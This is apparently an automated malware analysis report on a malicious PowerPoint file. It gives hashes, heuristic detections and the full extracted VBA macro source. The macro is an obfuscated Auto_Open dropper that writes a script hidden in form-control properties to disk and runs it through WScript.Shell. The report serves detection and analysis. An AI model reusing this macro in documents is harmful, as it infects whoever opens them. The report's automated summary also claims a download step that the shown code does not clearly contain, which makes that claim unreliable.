Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0b38613633c9daa8…

MALICIOUS

Office (OOXML)

12.9 KB First seen: 2021-09-23
MD5: 1b3817af61df4bd4d61e4f7b8ba300dd SHA-1: de4ff6c4ee0f6338f24700736d8b75b2cb663b29 SHA-256: 0b38613633c9daa8b19e8314462393a7367d6e80351e45b27dbe0bef535ff448
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with an Auto_Open subroutine that utilizes WScript.Shell to execute a command. The script appears to be designed to download and execute a second-stage payload, as indicated by the use of CreateObject and Shell() calls. The reconstructed command `C:\Windows\Explorer ` suggests an attempt to launch an executable.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1562 bytes
SHA-256: 43e472696ec865a47c4a7a9d14b5c0abc0ef8c0262887703c18954a5f1bbc746
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "yPdchTc"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function gMNytCb(PabdIqp)
gMNytCb = Replace(PabdIqp, "%c9J1Laj%bjnMvc]<J-|PbIO=@|8j6", "")
End Function



Sub yHsDpTy()



Dim PoYDTNL As String: PoYDTNL = mjuSoOj.rSaqAYW.Tag


Dim TWCyETd As String: TWCyETd = gMNytCb(PoYDTNL)
Open TWCyETd For Output As #1


Dim MmfxxoS As String: MmfxxoS = mjuSoOj.rSaqAYW.ControlTipText


Dim faxOIXd As String: faxOIXd = gMNytCb(MmfxxoS)
Print #1, faxOIXd
Close

On Error Resume Next
AppActivate "Microsoft PowerPoint Services..."
If Err <> 0 Then
Err = 0

Set TvHjAUX = CreateObject("WScript.Shell")

Set odbxrqw = TvHjAUX.exEc("C:\Windows\Explorer " & TWCyETd)


If Err <> 0 Then MsgBox "Can't Stop "
End If


End Sub

Attribute VB_Name = "TyPoiyV"

Public Sub aUtO_oPeN()

EAzroyE.uFeWfed

End Sub

Attribute VB_Name = "mjuSoOj"
Attribute VB_Base = "0{633B3255-65CF-4E0A-AA89-135CD7490F0A}{F7DAC83B-376C-4B6D-941E-D65214E8C7D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "EAzroyE"




Public nbgdNoZ As New yPdchTc

Sub uFeWfed()


nbgdNoZ.yHsDpTy


End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 36864 bytes
SHA-256: e5884278eda5a32d41f2af4240c3a31bbe3cec3ed84a8ddedb242515f2e7169b

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